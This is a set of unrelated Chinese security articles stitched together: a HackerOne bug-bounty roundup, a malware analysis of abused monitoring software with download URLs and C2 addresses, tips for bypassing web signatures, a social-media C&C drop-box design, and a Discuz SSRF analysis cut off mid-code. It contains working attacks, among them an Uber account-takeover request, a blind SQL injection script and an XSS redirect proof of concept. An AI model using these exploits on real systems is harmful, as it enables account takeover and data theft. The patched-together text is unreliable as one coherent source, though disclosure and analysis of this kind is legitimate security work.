**网页版**](http://bobao.360.cn/contribute/index)在线投稿**
**
**
**前言**
HackerOne第三季度TOP 5 漏洞报告即将揭晓。
在这一季中，我们参加了Vegas黑客大会，主办了[Hacked the World](https://hackerone.com/blog/hack-the-world)，并在[Reddit](https://www.reddit.com/r/IAmA/comments/4zj3oy/we_are_hackerone_and_help_hackers_to_hack/)的上面讨论了一些HackerOne的问题。HackerOne的漏洞报告者从平台建立累计拿到超过$10,000,000奖励，最重要的一点:
他们帮助了很多公司找到了以下重量级漏洞。
这五个漏洞不是粗略评估列出来的，而是经过认真评估，以确保内容没有重复，又不是简单的漏洞总结。详细的漏洞是最具指导性，这也是我们发布出来的原因。
**
**
**漏洞详情**
一、
[Mongo](https://hackerone.com/mongo)在审查Uber的[无密码注册机制](https://hackerone.com/reports/143717)的时候发现一个漏洞。然后Uber在一天之内修复好，并且在mongo确认修复之后，他得到了10,000美金。Uber对mongo表示万分感谢，我们非常高兴在HackerOne能有Mongo这样的人。
Mongo发现的漏洞如下：
通过/rt/users/passwordless-signup可以改变任何Uber用户的密码，给出任何一个受害者的手机号码（或者通过暴力列举电话号码，找出已经注册用户的手机号）。
Mongo使用了自己的手机号做了以下测试:
POST /rt/users/passwordless-signup HTTP/1.1
Host: cn-geo1.uber.com
User-Agent: client/iphone/2.137.1
Connection: close
Content-Type: application/json
Content-Length: 197
{"phoneNumberE164":"+xxxxxxxx","userWorkflow":"PASSWORDLESS_SIGNUP","userRole":"client","mobileCountryISO2":"XX","state":"CREATE_NEW_PASSWORD","newPasswordData":{"newPassword":"12345678911a!"}}
HTTP响应报文如下：
{"phoneNumberE164":"+xxxxxxxx","serverState":"SUCCEEDED","serverStateData":{"nextState":"SIGN_IN"},"tripVerifyStateData":{},"userMessage":"New password has been created. Please login with the new Password.","userRole":"client","userWorkflow":"PASSWORDLESS_SIGNUP"}
测试步骤:
1.先注册一个乘客账号（IOS或者安卓客户端都可以）
2.对如上所示的链接发起POST请求，其中的phoneNumberE164字段就是你想修改的手机号（加上手机的区号，比如+1xxx是美国），可能需要重复两次请求，最终得到回应:
"New password has been created"，此时这个手机号的密码已经改变，就是POST提交时候的newPassword字段。
3.使用新的密码在<http://riders.uber.com>登录或者其他设备。
二、在这博客的一系列报告中，只有[orange](https://www.hackerone.com/orange)知道让旅行的收益最大化。在中国的这个[案例](https://hackerone.com/reports/150156)中，当orange取消订阅的时候，发现Uber的.cn域名存在SQL
Injection漏洞，这个漏洞报告赢得了$4,000美金。
Orange发现的漏洞如下：
当orange在中国旅游使用Uber的时候，有一次他收到一份Uber的广告，并且里面有一个退订链接，但是他发现退订的连接和原来的退订链接不同，
并且这个退订连接存在SQL Injection。
Payload如下：
http://sctrack.email.uber.com.cn/track/unsubscribe.do?p=eyJ1c2VyX2lkIjogIjU3NTUgYW5kIHNsZWVwKDEyKT0xIiwgInJlY2VpdmVyIjogIm9yYW5nZUBteW1haWwifQ==
上面这个链接让数据库sleep了12秒。p参数后面是base64，解码如下:
http://sctrack.email.uber.com.cn/track/unsubscribe.do?p={"user_id": "5755 and sleep(12)=1", "receiver": "orange@mymail"}
然后orange写了一个盲注脚本得到数据库名字和数据库用户:
import json
import string
import requests
from urllib import quote
from base64 import b64encode
base = string.digits + '_-@.'
payload = {"user_id": 5755, "receiver": "blog.orange.tw"}
for l in range(0, 30):
for i in 'i'+base:
payload['user_id'] = "5755 and mid(user(),%d,1)='%c'#"%(l+1, i)
new_payload = json.dumps(payload)
new_payload = b64encode(new_payload)
r = requests.get('http://sctrack.email.uber.com.cn/track/unsubscribe.do?p='+quote(new_payload))
if len(r.content)>0:
print i,
break
最终得到mysql的用户名 sendcloud_w@10.9.79.210，数据库sedncloud。
三、[Paragonie_Scott](https://hackerone.com/paragonie-scott)是HackerOne里面比较出众的队伍，在分析这篇[奇特的.svg](https://hackerone.com/reports/148853)报告的时候，提醒我们.svg的与众不同。与其他图片格式相比，巧妙的.svg代码构造可以执行。[Adbullah](https://hackerone.com/abdullah)收到了[Paragon](https://hackerone.com/paragonie)项目有史以来最丰厚的奖励，更不用说3500次页面访问。
漏洞如下：
前提：浏览器处理SVG文件的方式非常烂，如果你要处理用户上传的SVG文件，必须确保只允许用户使用的Content-Type为text/plain。
背景：
Adbullah在ubuntu设置airship的时候碰到点问题，所以他在Paragon上面测试了下。
如果你上传任何文件（HTML，SWF等）来触发XSS，最终Content-Type的值会变成"text/palin;charset=us-ascii"。对于图片来说也一样，但是如果上传的格式是SVG，但是里面的内容是JS，最终允许上传。
这样设置Content-Type，"Content-Type: images/svg+xml; charset=us-ascii"，攻击就可以成功，并且存储到用户的账户。
四、我们经常在黑客报告中看到这样的字眼"这个漏洞好像没什么。。。",真是太谦虚了。这个[控制http://fastly.sc-cdn.net子域名](https://hackerone.com/reports/154425)报告就是这样开始的。
[Ebrietas](https://hackerone.com/ebrietas)从一个旧的DNS记录开始，最终获得了$3000奖金。非常感谢他的报告，避免了用户获取错误的信息。
漏洞如下：
我在一个cdn主机上面发了snapchat运行的一个测试实例，但是当这个主机取消的时候DNS记录仍然存在。所有我可以在上面重新创建一个Fastly实例来接管它。我已经通过Censys的记录确定这个snapchat所属。
最新发现这个主机仍然在被Snapchat使用。我在服务器上面发现了如下的日志：
root@localhost:~# cat /var/log/apache2/access.log | grep -v server-status | grep snapchat -i
23.235.39.33 - - [02/Aug/2016:18:28:25 +0000] "GET /bq/story_blob?story_id=fRaYutXlQBosonUmKavo1uA&t=2&mt=0 HTTP/1.1" 404 453 "-" "Snapchat/9.21.1.1 (iPad2,5; iOS 9.1; gzip)"
23.235.39.43 - - [02/Aug/2016:18:28:25 +0000] "GET /bq/story_blob?story_id=f3gHI7yhW-Q7TeACCzc2nKQ&t=2&mt=0 HTTP/1.1" 404 453 "-" "Snapchat/9.21.1.1 (iPad2,5; iOS 9.1; gzip)"
23.235.46.45 - - [03/Aug/2016:02:40:48 +0000] "GET /bq/story_blob?story_id=fKGG6u9zG4juOFT7-k0PNWw&t=2&mt=1&encoding=compressed HTTP/1.1" 404 453 "-" "Snapchat/9.21.1.0 (Nexus 7; Android 5.1.1#1836172#22; gzip)"
23.235.46.23 - - [03/Aug/2016:02:40:49 +0000] "GET /bq/story_blob?story_id=fco3gXZkbBCyGc_Ym8UhK2g&t=2&mt=1&encoding=compressed HTTP/1.1" 404 453 "-" "Snapchat/9.21.1.0 (Nexus 7; Android 5.1.1#1836172#22; gzip)"
43.249.75.20 - - [03/Aug/2016:12:39:03 +0000] "GET /discover/dsnaps?edition_id=4527366714425344&dsnap_id=5651565881327616&hash=66e61fa7787383c08a76a131e96915eec2d8b3019a3a96af66496003c9a9b1c1&publisher=Refinery29&quality=android_med9to16-android_med9to16 HTTP/1.1" 404 455 "-" "Snapchat/9.21.1.0 (GT-I9300; Android 4.3#I9300XWUGML4#18; gzip)"
43.249.75.24 - - [03/Aug/2016:12:39:03 +0000] "GET /bq/story_blob?story_id=ftzqLQky4KJ_B6Jebus2Paw&t=2&mt=1&encoding=compressed HTTP/1.1" 404 453 "-" "Snapchat/9.21.1.0 (GT-I9300; Android 4.3#I9300XWUGML4#18; gzip)"
43.249.75.22 - - [03/Aug/2016:12:39:03 +0000] "GET /bq/story_blob?story_id=fEXbJ2SDn3Os8m4aeXs-7Cg&t=2&mt=0 HTTP/1.1" 404 453 "-" "Snapchat/9.21.1.0 (GT-I9300; Android 4.3#I9300XWUGML4#18; gzip)"
23.235.46.21 - - [03/Aug/2016:14:46:18 +0000] "GET /bq/story_blob?story_id=fu8jKJ_5yF71_WEDi8eiMuQ&t=1&mt=1&encoding=compressed HTTP/1.1" 404 453 "-" "Snapchat/9.21.1.1 (iPhone5,2; iOS 9.2; gzip)"
23.235.46.28 - - [03/Aug/2016:14:46:19 +0000] "GET /bq/story_blob?story_id=flWVBXvBXToy-vhsBdze11g&t=1&mt=1&encoding=compressed HTTP/1.1" 404 453 "-" "Snapchat/9.21.1.1 (iPhone5,2; iOS 9.2; gzip)"
23.235.44.35 - - [04/Aug/2016:05:57:37 +0000] "GET /bq/story_blob?story_id=fuZO-2ouGdvbCSggKAWGTaw&t=0&mt=1&encoding=compressed HTTP/1.1" 404 453 "-" "Snapchat/9.21.1.0 (SAMSUNG-SGH-I537; Android 5.0.1#I537UCUCOC7#21; gzip)"
23.235.44.46 - - [04/Aug/2016:05:57:37 +0000] "GET /bq/story_blob?story_id=fa3DTt_mL0MhekUS9ZXg49A&t=0&mt=1&encoding=compressed HTTP/1.1" 404 453 "-" "Snapchat/9.21.1.0 (SAMSUNG-SGH-I537; Android 5.0.1#I537UCUCOC7#21; gzip)"
185.31.18.21 - - [04/Aug/2016:19:50:01 +0000] "GET /bq/story_blob?story_id=fDL270uTcFhyzlRENPVPXnQ&t=0&mt=1&encoding=compressed HTTP/1.1" 404 453 "-" "Snapchat/9.21.1.1 (iPhone7,1; iOS 9.3.2; gzip)"
这样看起来我可以添加任何内容，不管是哪个app在使用。
五、埃及的[secgeek](https://hackerone.com/secgeek)向twitter反馈了这个漏洞：[sms-be-vip.twitter.com上存在HTML注入并且可能有XSS漏洞](https://hackerone.com/reports/150179)。这个漏洞影响到了最新版的IE浏览器（IE
11），它会导致html标签注入和JavaScript执行。在HackerOne，我们尤其欣赏专业和求同存异，最终这个漏洞获得了$420奖金。
漏洞如下：
在sms-be-vip.twitter.cm的404页面好像存在XSS和HTML注入，因为他并没有对HTML标签进行编码，比如<a
href="https://sms-be-vip.twitter.com/
# TEST
。” _src=”https://sms-be-vip.twitter.com/
# TEST
。”>https://sms-be-vip.twitter.com/<h1>TEST</h1>。
要触发这个漏洞，必须要确定URL不会编码之后发送，但是一般浏览器都会对URL进行编码。然而在最新的IE11或者更低版本的IE浏览器里面，这是可以做到的。
如何在使IE11在发送的时候不对URL进行编码处理呢？
在302跳转的时候IE不会对URL进行编码，所以我们可以写一个中转脚本：
<?php
$url = $_GET['x'];
header("Location: $url");
?>
然后使用如上的脚本对存在XSS的地方发起请求。
http://secgeek.net/POC/redir.php?x=https://sms-be-vip.twitter.com/<h1>TEST</h1>
现在你就会在IE浏览器里面看到HTTP的错误信息，而不是在错误页面看到<h1>TEST</h1>
微软的HTTP错误信息会在满足下面两个条件的时候出现：
1\. HTTP的状态必须是[400, 403, 404, 405, 406, 408, 409, 410, 500, 501, 505]
2\. HTTP的应答长度小于预定值，对于404来说这个数值是512字节。
所以我在后面添加更多的数据来避免上面的问题：
http://secgeek.net/POC/redir.php?x=https://sms-bevip.twitter.com/<h1>TEST</h1>....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
这个漏洞允许恶意攻击者插入HTML标签，执行JS，最终可能导致用户session泄露，发起CSRF攻击或者引入一个钓鱼网站。
如果你觉得某个漏洞具有引导性或者非常棒，可以在[Hacktivity](https://hackerone.com/hacktivity/popular)页面[点赞
](https://hackerone.com/blog/hacktivity-upvoting)。
这个漏洞允许恶意攻击者插入HTML标签，执行JS，最终可能导致用户session泄露，发起CSRF攻击或者引入一个钓鱼网站。
**后记**
想在下一季中出现么？上传你的漏洞报告或[邀请你的黑客团队](https://hackerone.com/teams/new)，就像上面这些公司一样。就像我曾经读过的[博客](https://hackerone.com/blog/Bug-bounty-programs-taking-off)，每个团队都需要一个赏金项目。
[Rejesh F. Krishnan](https://twitter.com/rfkrishnan) | 社区文章 |
# “正版”监控软件被黑产利用，输出把关不严或成另一个TeamViewer？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
近日，奇安信病毒响应中心在日常跟踪黑产团伙过程中，发现了一个利用正规监控软件窃取用户信息，甚至监控聊天记录的黑客团伙，由于正规监控软件带有数字签名，杀软一般不会对其进行查杀，从而达到免杀的效果。
样本在执行过程中会在从远程服务器下载远控客户端安装程序，通过消息操作实现客户端自动化安装，安装成功后主进程则会连接远程服务器。可以实现屏幕监控、流量监控、屏幕录像、监控上网行为、软件管理、访问控制、文档备份、下发文件等复杂功能，同时其释放的驱动注册了进程回调来保护主进程不被结束。
基于奇安信的多维度大数据关联分析，我们已经发现国内有用户中招，为了防止危害进一步扩散，我们对该黑产团伙进行了披露，并给出解决方案。
## 样本分析
**文件名** | **MD5** | **编译时间** | **功能**
---|---|---|---
**大富豪累充5000资源.xls** | f6cd269ec61fb16e1a48cf2761698c6b | 2019-08-08 |
可执行文件，从远程服务器下载服务端并安装
样本由易语言编写，下载逻辑如下
下载链接如下hXXp://154.223.144.182/setup_wid_caijy@foreign.exe，安装包名称较为特殊，初步怀疑为渠道包。
自动化安装逻辑
安装包手动打开界面如下
将相关文件释放到C:\Program Files\Common
Files\NSEC目录下，由于NsecRTS.exe对该目录做了保护，普通权限下是观察不到有文件存在
NsecRTS.exe启动后会请求并解析<http://cloud.nsecsoft.com:8987/ndns/caijy@foreign>下的数据
数据如下
获取需要连接的IP地址，之后连接该IP的18987和28987端口，由于控制功能过多，这里我们只挑选其中几个做简单的介绍，不同的功能会使用不同的端口进行通讯。
实时截屏功能，每隔三秒截一次图并发送到主控端。图像保存在了C:\SmartSnap\日期\目录下，且受到保护，只能使用高权限软件查看
收集信息模块在PCinfo.dll中，向远程服务器上传非常详细的本机信息。硬件设备、系统账号、系统版本、磁盘大小等信息
同时该远控的自我保护能力很强，其驱动模块（nFsFlt32.sys）创建了进程回调并注册minifilter，用于保护NsecRTS.exe进程不会被结束
其他驱动模块还注册了关机回调，防删除
结上所述，如果想要彻底删除该远控需要卸载与其相关的驱动模块或者清除内核回调之后结束进程删除文件。
上述分析的文件都带有数字签名
签名文件显示为“山东安在信息技术有限责任公司”，访问其官网发现是一家专注于终端安全管理系统的信息安全公司。旗下主打ping32终端管理软件，我们猜测该样本应该是ping32终端管理软件的客户端。
通过搜索引擎搜索，我们发现早在2019年4-5月份时就有国内用户在某安全社区中反馈这个问题
由于相关文件被隐藏，样本上传不上来，导致问题一直没有受到重视。
## 关联分析
对154.223.144.182进行关联分析，发现了一批同源样本
**文件名** | **MD5** | **编译时间** | **编译器**
---|---|---|---
**邮件群发V5.3_破解版 (1)** | 2c9635988357cc241ebd7372ac4f3f33 | 2019-08-08 16:02:58
| E语言
**** | 72151487badd30f7939734acf9db2d8c | 2019-04-27 20:03:27 |
E语言
**2019.11.28.exe** | 648071200c452d4c71f35d439fdc08a9 | 1972-12-25 05:33:23 |
E语言
**昨晚约的高一学妹居然还是处MP4ks.exe** | 9d6960afc0c2e31ba9b71a891e72a5d2 | 2019-10-09
16:09:05 | E语言
**杏彩国际.exe** | c55b93f8c062c0adb7595bd07906aca8 | 2019-10-09 15:46:43 | E语言
**** | 3d9580f52c57ed907a551ca0620ba749 | 2019-07-19 14:28:39 | E语言
**** | 039883d4442527a98ae56971a28922fc | 1992-06-19 22:22:17 | Delf
**** | 1b619b1e24c8e16e0d21585c1ca42b6c | 2019-10-07 17:34:32 | E语言
**** | 18418c5f02c68716ea1437835b43ad9c | 2019-08-08 16:01:17 | E语言
**激活码.exe** | 547c64aa1509c82287f19ec03afaf9ec | 2019-07-16 19:17:45 | E语言
通过对下载的文件名和行为进行分类可以分为两大类
@foreign类样本，样本名称都带“@foreign”字符串。
**ITW**
---
**hxxp://154.223.144.182/setup_wid_caijy@foreign.exe**
**hxxp://154.223.144.182/setup_wid_lanhai@foreign.exe**
**hxxp://154.223.144.182/setup_wid_caisjt@foreign.exe**
IP类样本，样本名称中直接包含IP地址
**ITW**
---
**hxxp://154.223.144.182/setup_ip_47.75.159.1.exe**
**hxxp://154.223.144.182/setup_ip_47.52.210.77.exe**
之所以要这么分类是因为这两类样本的行为细节上略有不同，区别在于：
@foreign类的样本在连接远程服务器时会先向cloud.nsecsoft.com安在官网的子域名发起请求解析返回数据，从而得到远程服务器的地址，请求的后缀与安装包的名称有关
奇安信监控到的访问量如下
而IP类的样本则没有这个行为，会直接连接内置的IP地址。
**故我们推测@foreign类的样本应为安在公司内部渠道包或者给特定用户定制的功能，**
除此之外，该团伙还会使用第三只眼监控软件
**文件名** | **MD5** | **编译时间** | **编译器**
---|---|---|---
**最新APP每天更新：“AV，小说，黄漫，直播，乱伦，SM，制服，.com** | a89785a82157ff6c5213d5f01d17a4c3 |
2019-09-12 14:50:07 | E语言
请求的URL：
hxxp://154.223.144.182/562299111a.exe
手动打开界面如下
为了进一步探寻起源，研判利用正规监控软件这一方案的可行性，我们以“产品经理”的身份联系了山东安在公司的客服。
经过一番询问，需要我们提供公司名称、联系方式和姓名才会给我们发软件的下载地址，我们只提供了虚构的姓氏和公司名就得到了软件的下载地址
可见，客服咨询这一块的步骤形同摆设，客服并不会对测试软件的人的信息进行核实。
软件启动时会提示输入许可证或者进行试用，试用时间为7天。试用注册的过程中唯一重点就是要输入手机的验证码，其余项可以随意填写，手机号支持中国、美国、新加坡、日本。
**经过我们测试，同一个手机号竟然可以在不同的机器上重复注册** 。
注册成功之后弹出主控端界面。该系统比国内黑产常用的Ghost、大灰狼以及其相关变种的功能多出不少。
生成客户端，客户端名称：“setup_ip_192.168.13.128.exe”属于上述的IP类样本，从侧面印证了@foreign类的样本的确是特殊渠道生成的。具体特殊在哪或许只有安在公司自己知道。
综上所述，黑产得到ping32软件后可以将其破解自己无限使用，也可以通过地下论坛购买手机号和对应的验证码进行注册试用，有钱的话也可以将其买下来，都可以达到持续使用的效果。
## 总结
之前我们也披露过使用TeamView作为远控来收集用户信息的黑产团伙“零零狗”，可见出于经济上的考虑，大部分的黑产团伙都会选择开源或者现有的远程控制工具，只有少数的黑产团伙自成体系，选择购买或者制作免杀效果较好的软件进行攻击活动。同样的在企业这一方面，我们通过简单的问答就可以获取到这种内核级别的监控软件，同时在注册时存在一些小“Bug”，可以被黑产团伙利用，这从侧面反映了企业有些环节的不足和敷衍、相关人员安全意识淡薄。
奇安信病毒响应中心提醒用户不要点击来源不明的邮件和可执行文件，同时提高个人的安全意识，从而可以防止用户隐私信息被盗取的风险，奇安信病毒响应中心会持续对黑产团伙进行挖掘和追踪。
同时基于奇安信威胁情报中心的威胁情报数据的全线产品，包括奇安信威胁情报平台（TIP）、天擎、天眼高级威胁检测系统、奇安信NGSOC等，都已经支持对该家族的精确检测。
## IOC
MD5：
f6cd269ec61fb16e1a48cf2761698c6b
2c9635988357cc241ebd7372ac4f3f33
648071200c452d4c71f35d439fdc08a9
9d6960afc0c2e31ba9b71a891e72a5d2
c55b93f8c062c0adb7595bd07906aca8
3d9580f52c57ed907a551ca0620ba749
039883d4442527a98ae56971a28922fc
1b619b1e24c8e16e0d21585c1ca42b6c
18418c5f02c68716ea1437835b43ad9c
547c64aa1509c82287f19ec03afaf9ec
a89785a82157ff6c5213d5f01d17a4c3
Host：
154.223.144.182
C2：
103.100.210.28:18987
103.100.210.28:28987
47.244.201.71:18987
47.244.201.71:28987
47.56.189.69:18987
47.56.189.69:28987
47.75.159.1:18987
47.75.159.1:28987
47.52.210.77:18987
47.52.210.77:28987 | 社区文章 |
为什么要写这个文章呢？因为我发现很多白帽子，甚至很牛逼的(代码能力远远比我厉害)都没这样玩过，因为很多次项目项目基本上在大家没输出情况下这些小技巧让我收获了很多不少漏洞。当然也许大佬们是看不起这些小漏洞小技巧，我写的目的是为了那些大部分懒人，或者基本没深入了解开发的不深入理解代码的能快速绕过简单web签名。最后分享一些实战中的小tips。希望帮助更多的新鲜血液的白帽子多赚钱，官网说法是多为了国家信息安全做贡献。(本文章是站在绝对黑盒的思路)
1 通过替换响应包的值绕过签名
2 通过chromedebug绕过签名
3 web渗透测试中一些简单的单身超级实用的tips；
# **通过替换响应包的值绕过签名**
**原理分析**
：数据在数据包加密前输入，其次该被修改的数据没经过多次正则处理直接进入签名算法的。如果是正则替换了的可能只能用于简单int类型替换。（适用app的场景）
**替换方法是** ：
# **chorome debug 基础和小技巧**
debug demo： <https://googlechrome.github.io/devtools-samples/debug-js/get-started>
用得比较多的快捷键：
F9： 跟着函数一步步走下去。（对象是代码行）
F10：跳过函数功能（对象是代码的函数）
F8 : 放行bebug
debug3种放方式：
1 xhr（数据包uri的debug）
2 Event Listener--mouse-click
3 手动函数断点
1 如果刚开始debug的小伙伴建议一步步跟这数据流走(F9)，（比较熟悉的时候直接下断点到27-33行）
2 step到这个函数然后可以debug这附近代码：
参数这个的原因是因为是字符串拼接而不是int类型相加。console口打印一下一下变量类型和结果即可。
**debug绕过sign场景：** （众测好几个实战，因为安全和自己打码水平所以暂且无法公开案列）
说了这么多debug有啥用呢。用处是是在web存在sign或者多个非常复杂的签名，难以分离算法的情况。
比如我们的当前功能就是字符串：sum=addend2+addend1；（想得到'A'+'B'='AC'）但是你却无法重放数据，也无法修改数据包。（重放或者修改都会返回错误，得不到想要的结果。这种情况可能是web签名过程中里面处理了几次数据。）
本来 正常功能是 A+B=AB，
直接修改B为C ，模拟绕过sign后成了 A+B=AC
3 如果经验很丰富了，可以通过xhr，或者关键字搜索等等别的方法直接定位某个js的关键debug点。（很多大项目一个js可能十几M）
chrome debug查考文章：<https://www.cnblogs.com/softidea/p/10451864.html>
# web测试的一些经验分享
## 畸形数据包：
rce或者sql漏洞产生在于代码的交互和数据库的交互，不在于数据包包是任何形式的到服务器，只要路由对了就可以，不挂是否是正常逻辑，只要能交互即可。可能是get，post，put，甚至是不正常的比如http走私。
1
数据格式改变产生漏洞：(这些情况下可能跟绕过waf，可能产生新的漏洞。均有很多案例，比如某个src和银行站点，所有用户都看了无数次，但是存在全站sql注入，本身数据包是get类型不存在，改成post也不存在，然后post编程multipart存在sql注入，比如这种情况pot的简单字段，改成json就存在了fastjson反序列化，99%数据包都不存在fsj漏洞，但是刚好有一个数据包修改了就存在。这种情况一般需要修改了数据包格式以后和修改前对服务器交互后的响应包是一样的基本可以参数漏洞。)
（get-->post|| post-->json）
（get-->post|| post-->xml）
（get-->post|| post-->multipart）
2 参数污染造成漏洞或者绕过waf（遇到过绕过上传类型的实列）
再目标id字段前面添加一个空字段或者再前面本身存在没有影响的字段的内容无限扩充字符。或者尽量无限创建无效的字段。
3 万能的js。js是参数漏洞最多最多的地方。比如vue的有些网址可以还原所有静态逻辑文件。
当前端是vue开发的网址,如果存在js.map文件（手动添加.map）。比如<https://wwww.baidu.com/app.js.map>
下载app.js.map到本地。
利用shuji 工具（安装nodejs 在安装shuji）<https://www.npmjs.com/package/shuji>
shuji app.js.map -o desfile
然后用vscode查看desfile的文件。 | 社区文章 |
# 【技术分享】基于社交网络（Twitter和Facebook）的 渗透测试盒子
|
##### 译文声明
本文是翻译文章，文章来源：zone13.io
原文地址：<https://zone13.io/post/social-media-based-pentest-dropbox/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[Brexit](http://bobao.360.cn/member/contribute?uid=347422492)
预估稿费：100RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:linwei@360.cn)，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
有人曾说过，交换秘密的最佳地点就是熙熙攘攘的人群中。有道是，越危险的地方越安全。
那么，如果利用社交网络生成的流量来伪装pentest drop box流量会出现什么情况？
**渗透测试盒子**
Pentest drop box是一款可在渗透测试时插入（或者无线接入）目标网络的便携式设备，它可被一个C&C服务器控制并实施以下行为：
网络监控/监听
ARP/DNS投毒，实施中间人攻击
拒绝服务
Drop box能够通过多种方法调用C&C，包括但不仅限于：
反向SSH（通过OpenVPN）
经由HTTP(s)的SSH
DNS隧道—[此处](https://www.stevencampbell.info/2017/02/configure-pentest-dropbox-dns-tunneling/)有一个良好的write-up
通过TOR的路由
基于ICMP的shell
Egress buster：尝试所有的出站端口直到找到一个开放端口
使用一个3G加密狗，这样C&C命令就不会接触到目标网络
上述提到的多数方法都需要跟C&C服务器保持持续连接 (shell)， 从而提高检测几率。通常情况下连接可能会中断，因此可能需要准备一个重新连接的机制。
**那么，如何创建一个几近完美的C &C机制呢？**
这个机制应该跟其余的网络流量融合且应该是异步的。当然，必须加密。
**跟基于社交媒体的drop box打个招呼吧！！**
我之前写过一篇博文，说明了如何使用Facebook API在红队渗透过程中拿到数据。我们可以使用类似的方法为drop box创建一个C&C。
这里的一个有利条件就是，你很难区分drop box的C&C流量和合法的社交媒体流量。社交媒体API调用会提供HTTPS加密，这就是一个巨大的优势。
**设计**
**上游** —用于接收C&C命令。
推特对一条发文的字数限制是140个字符，这对于向drop box发布命令来说简直不要太完美。API调用默认使用HTTPS。
**下游** —用于接收命令结果、提取数据
Facebook对一篇文章的字数限制是63,206个字符。在多数情况下，这对于接收命令输出如nmap扫描结果来说足够了。
**隐秘性**
为了阻止C&C推文和Facebook帖子被挖，建议进行隐私设置。
**硬件**
单板机及其所获取的支持让渗透测试人员在开展物理渗透测试时轻松很多。这样，在定制drop
box所需软件方面就有了很大的自由。你可以现在就只从所需要的工具开始搭建一个drop box。低廉的价格也是它的一个附加优势。
我是Raspberry Pi (RPi) 的铁杆粉，因此我的drop box搭建现在还是基于此。Black Hills Information
Security发表了一篇关于自己构建一个drop
box的博文，并且还附有对单板机的详细比较。他们做的相关研究很棒，这次也不例外。如果你打算凭一己之力来构建一个box，我强烈建议从阅读他们的博客开始。
**软件**
RPi有一个与之对应的Kali搭建，而且你可以使用他们的元数据包来定制化自己的网络、WiFi等。如果你真的想要一个轻量级的，那么也可以从Raspbian
Lite开始并根据自己的需求量体裁衣。
**演示视频**
为了做演示，我将会手动运行脚本。在部署的过程中，我在引导时就开始运行脚本并让它每分钟左右查询一次命令。
在演示过程中，我将会展示命令是如何作为由drop box收到并执行的推文获得通过的。命令的结果随后会被贴到Facebook页面。
**缓解措施**
从蓝队的角度看，想出一种解决方案来完全缓解这个问题会很难。DNS和深度包检测可以解决这个问题。
**
**
**跟进**
欢迎随时交流各种建议和想法以及缓解措施。希望这篇文章会为你在渗透测试方面带来一些作用。 | 社区文章 |
项目地址：<https://github.com/tengzhangchao/microsoftSpider>
直接clone项目就可以用了，db文件在项目中（已收集了2010-2017所有的ms漏洞）。
文件中有ms号对应每个版本操作系统的kb号以及补丁链接地址，可以用来在提权时，写个脚本跑系统未安装的补丁所对应的ms号 | 社区文章 |
补丁:
<https://gitee.com/ComsenzDiscuz/DiscuzX/commit/41eb5bb0a3a716f84b0ce4e4feb41e6f25a980a3>
可跨协议打
缺点: 由于payload构造中有第二次跳转，所以要求对方服务器的127.0.0.1:80也是dz
PHP版本: php ver > 5.3
## 触发漏洞点
漏洞点: source/module/misc/misc_imgcropper.php:55
$prefix = $_GET['picflag'] == 2 ? $_G['setting']['ftp']['attachurl'] : $_G['setting']['attachurl'];
if(!$image->Thumb($prefix.$_GET['cutimg'], $cropfile, $picwidth, $picheight)) {
因为`$_G['setting']['ftp']['attachurl']`默认是`/`，传入Thumb中的`$prefix.$_GET['cutimg']`的后缀也可控
一路跟进，source/class/class_image.php:52 -> source/class/class_image.php:118
function init($method, $source, $target, $nosuffix = 0) {
global $_G;
$this->errorcode = 0;
if(empty($source)) {
return -2;
}
$parse = parse_url($source);
if(isset($parse['host'])) {
if(empty($target)) {
return -2;
}
$data = dfsockopen($source);
$this->tmpfile = $source = tempnam($_G['setting']['attachdir'].'./temp/', 'tmpimg_');
if(!$data || $source === FALSE) {
return -2;
}
file_put_contents($source, $data);
}
可以看到如果能够被`parse_url`函数解析出host即可进入`dfsockopen`里面进行curl请求
所以这个就是一个前缀限定为`/`，跟入`parse_url`函数底层会发现，它还支持这种作为url: `//www.baidu.com`
/php-5.4.45/ext/standard/url.c
继续跟入dz的`dfsockopen`函数
source/function/function_filesock.php:14
$matches = parse_url($url);
$scheme = $matches['scheme'];
$host = $matches['host'];
$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
...省略
curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path);
...省略
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
...省略
由于协议是为null的，所以最后请求的url地址就是`http://://google.com/aaa`，也就是`http://127.0.0.1:80/google.com/aaa`
所以此处需要一个url跳转才能进行下一步的ssrf攻击，当然这也能够攻击本地，不过很鸡肋.
## PHP版本问题
仔细研究`parse_url`处理无协议的url时候，`//www.baidu.com`在不同的php版本还有一些小差别
相对url是在php5.4才有进行处理
大致总结为
php5.4，能解析ok: `//www.baidu.com/../aaa`
php5.4后，需要加上端口号: `//www.baidu.com:80/../aaa`
## 本地url跳转构造
对于跳转的要求比较高，因为需要的是get型，、不登录、任意地址跳转
找了很久发现了一个很符合要求，`logout`的时候会获取referer，然后进入301跳转
其中跳转的地址referer会有验证，验证其是否和本身host匹配，也就是限制了你不能进行任意地址跳转
/source/function/function_core.php:1498
function dreferer($default = '') {
global $_G;
$default = empty($default) && $_ENV['curapp'] ? $_ENV['curapp'].'.php' : '';
$_G['referer'] = !empty($_GET['referer']) ? $_GET['referer'] : $_SERVER['HTTP_REFERER'];
$_G['referer'] = substr($_G['referer'], -1) == '?' ? substr($_G['referer'], 0, -1) : $_G['referer'];
if(strpos($_G['referer'], 'member.php?mod=logging')) {
$_G['referer'] = $default;
}
$reurl = parse_url($_G['referer']);
if(!$reurl || (isset($reurl['scheme']) && !in_array(strtolower($reurl['scheme']), array('http', 'https')))) {
$_G['referer'] = '';
}
if(!empty($reurl['host']) && !in_array($reurl['host'], array($_SERVER['HTTP_HOST'], 'www.'.$_SERVER['HTTP_HOST'])) && !in_array($_SERVER['HTTP_HOST'], array($reurl['host'], 'www.'.$reurl['host']))) {
if(!in_array($reurl['host'], $_G['setting']['domain']['app']) && !isset($_G['setting']['domain']['list'][$reurl['host']])) {
$domainroot = substr($reurl['host'], strpos($reurl['host'], '.')+1);
if(empty($_G['setting']['domain']['root']) || (is_array($_G['setting']['domain']['root']) && !in_array($domainroot, $_G['setting']['domain']['root']))) {
